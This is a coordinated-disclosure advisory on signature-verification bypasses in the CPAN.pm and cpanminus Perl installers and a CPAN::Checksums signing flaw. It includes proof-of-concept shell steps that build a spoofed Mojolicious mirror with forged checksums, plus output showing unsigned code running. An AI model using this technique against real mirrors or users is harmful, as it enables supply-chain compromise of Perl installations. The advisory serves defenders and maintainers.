Signature Verification Vulnerabilities in CPAN.pm, cpanminus and CPAN::Checksums
CPAN is a repository of over 200,000 modules for the Perl programming language. PAUSE is the “[Perl programming] Authors Upload Server”.
To install Perl modules from CPAN, users can use the cpan client provided by
CPAN.pm included in the Perl core,
or the cpanm client provided by
cpanminus.
Both clients have optional support for verifying that CHECKSUMS files have a
valid PAUSE PGP signature before checksums are checked and modules are installed.
It was found that cpan and cpanm are vulnerable to a signature verification
bypass. Additionally, CPAN::Checksums (used by PAUSE) does not uniquely
identify packages in the signed CHECKSUMS file, enabling a supply chain
attack.
- [CVE-2020-16154] App::cpanminus 1.7044 allows Signature Verification Bypass
- [CVE-2020-16155] CPAN::Checksums 2.12 does not uniquely define signed data.
- [CVE-2020-16156] CPAN 2.28 allows Signature Verification Bypass
For more information see Addressing CPAN vulnerabilities related to checksums by Neil Bowers.
Mitigation
Users should ensure that their CPAN client is configured to use a trusted TLS
(https) protected mirror as signature verification can be bypassed, and signed
CHECKSUMS cannot be relied upon for security.
Signature Verification Bypass
[CVE-2020-16154, CVE-2020-16156]
An attacker can prepend checksums for modified packages to the beginning of
CHECKSUMS files, before the cleartext PGP headers. This makes the
Module::Signature::_verify() checks in both cpan and cpanm pass.
Without the sigtext and plaintext arguments to _verify(), the _compare()
check is bypassed. This results in _verify() only checking that valid signed
cleartext is present somewhere in the file.
Proof of Concept
First, Module::Signature needs to be installed. Then prepare a malicious CPAN
mirror containing a modified package.
In this example, we spoofed the popular Mojolicious package to illustrate:
mkdir -p cpan/{authors,modules}
wget -O cpan/authors/01mailrc.txt.gz https://cpan.metacpan.org/authors/01mailrc.txt.gz
wget -O cpan/modules/02packages.details.txt.gz https://cpan.metacpan.org/modules/02packages.details.txt.gz
wget -O cpan/modules/03modlist.data.gz https://cpan.metacpan.org/modules/03modlist.data.gz
mkdir -p cpan/authors/id/S/SR/SRI
pushd cpan/authors/id/S/SR/SRI
wget -O CHECKSUMS_ORIG https://cpan.metacpan.org/authors/id/S/SR/SRI/CHECKSUMS
module=Mojolicious-8.56
mkdir $module
echo 'print "### INSERT MALICIOUS CODE HERE ###\n";' > $module/Makefile.PL
tar czf $module.tar.gz $module
sha256=$(sha256sum $module.tar.gz | cut -d' ' -f1)
(echo -en "\$chksum = { '$module.tar.gz' => { sha256 => '$sha256'} };\n__END__\n"; cat CHECKSUMS_ORIG) > CHECKSUMS
popd
cd cpan
# Then serve the repo locally on port 8000
busybox httpd -f -p 8000
CPAN.pm
Prepare environment:
- Install the required signature checker extension
- Add http://localhost:8000 to your
urllist - enable
check_sigs.
$ cpan Module::Signature
$ cat <<EOF |cpan
o conf check_sigs 1
o conf urllist unshift http://localhost:8000
o conf commit
EOF
Demonstrate unsigned code execution:
$ cpan SRI/Mojolicious-8.56.tar.gz
[..]
Signature for /home/user/.cpan/sources/authors/id/S/SR/SRI/CHECKSUMS ok
Checksum for /home/user/.cpan/sources/authors/id/S/SR/SRI/Mojolicious-8.56.tar.gz ok
[..]
Configuring S/SR/SRI/Mojolicious-8.56.tar.gz with Makefile.PL
### INSERT MALICIOUS CODE HERE ###
No 'Makefile' created SRI/Mojolicious-8.56.tar.gz
/nix/store/kfrlhcjp3hp7vs83y701xzd542k8sm7k-perl-5.30.3/bin/perl Makefile.PL -- NOT OK
App::cpanminus
$ cpanm --local-lib=$(mktemp -d) -v --verify --mirror http://localhost:8000/ Mojolicious@8.56
[..]
Verifying the signature of CHECKSUMS
Verified OK!
Verifying the SHA1 for Mojolicious-8.56.tar.gz
Checksum for Mojolicious-8.56.tar.gz: Verified!
Unpacking Mojolicious-8.56.tar.gz
[..]
Running Makefile.PL
Configuring Mojolicious-8.56 ... ### INSERT MALICIOUS CODE HERE ###
N/A
! Configure failed for Mojolicious-8.56. See /home/user/.cpanm/work/1596121570.28866/build.log for details.
CPAN::Checksums does not uniquely define signed data
[CVE-2020-16155]
CPAN::Checksums generates CHECKSUMS recursively for each directory under the
author/ directory structure, and the file path for the packages in the
manifest doesn’t contain an author handle (filenames are only unique per
author).
An attacker with PAUSE access can trick PAUSE into generating a valid
CHECKSUMS file for another authors package, allowing a malicious mirror or
network attacker to serve a modified package to a target along with a valid but
malicious CHECKSUMS file.
Proof of Concept
A CHECKSUMS file impersonating the already published package
Acme::Study::Perl 0.0.1 has been generated on pause.cpan.org and signed by
the PAUSE PGP key.
0&&<<''; # this PGP-signed message is also valid perl
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
# CHECKSUMS file written on Fri Jul 24 15:59:10 2020 GMT by CPAN::Checksums (v2.12)
$cksum = {
'Acme-Study-Perl-0.0.1.tar.gz' => {
'md5' => 'd474ea9bf1861d696f05fbfc9e845f77',
'md5-ungz' => '9614de46e57904130b6f75c0fe8fdd22',
'mtime' => '2020-07-24',
'sha256' => 'f239031b672604dafe456909ba3121f0c002e135bbc394fafd072397ecfadc99',
'sha256-ungz' => 'cef212349a6beb0622193e22d92a21dc9dd7bb2f6d7f79ac0d863188efef0282',
'size' => 211
},
'test.txt' => {
'md5' => '5150d35ce48639c7c78cffe84891faab',
'mtime' => '2020-07-24',
'sha256' => '5d0d196ae349adf45246252d303885db3adfa723139ad5147fe7a767ded1f5b4',
'size' => 51
}
};
__END__
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)
iEYEARECAAYFAl8bBU4ACgkQMo2oZ0UPiewySQCfd00WKH3QfVO/GjcYvDosimBs
44AAoJZGxbOludHf6JYItrNOSBq1BHVA
=6gsJ
-----END PGP SIGNATURE-----
Timeline
- 2020-07-08: The Perl Security team was notified
- 2020-07-15: The module authors were notified
- 2020-07-30: CVE numbers assigned
- 2021-11-18: Publication agreed for 23 nov
- 2021-11-23: Coordinated disclosure
References
- http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html
- https://github.com/andk/cpan-checksums
- https://github.com/andk/cpanpm/blob/ac0963601fe22c3a0b6cc9a8f0d51da5fd6e41ef/lib/CPAN/Distribution.pm#L1474
- https://github.com/miyagawa/cpanminus/blob/7b574ede70cebce3709743ec1727f90d745e8580/Menlo-Legacy/lib/Menlo/CLI/Compat.pm#L1491
Acknowledgements
Thanks to Andreas König, Neil Bowers, Hamish Coleman, Alexander Kjäll and Salve J. Nilsen.
Authored by Stig Palmquist
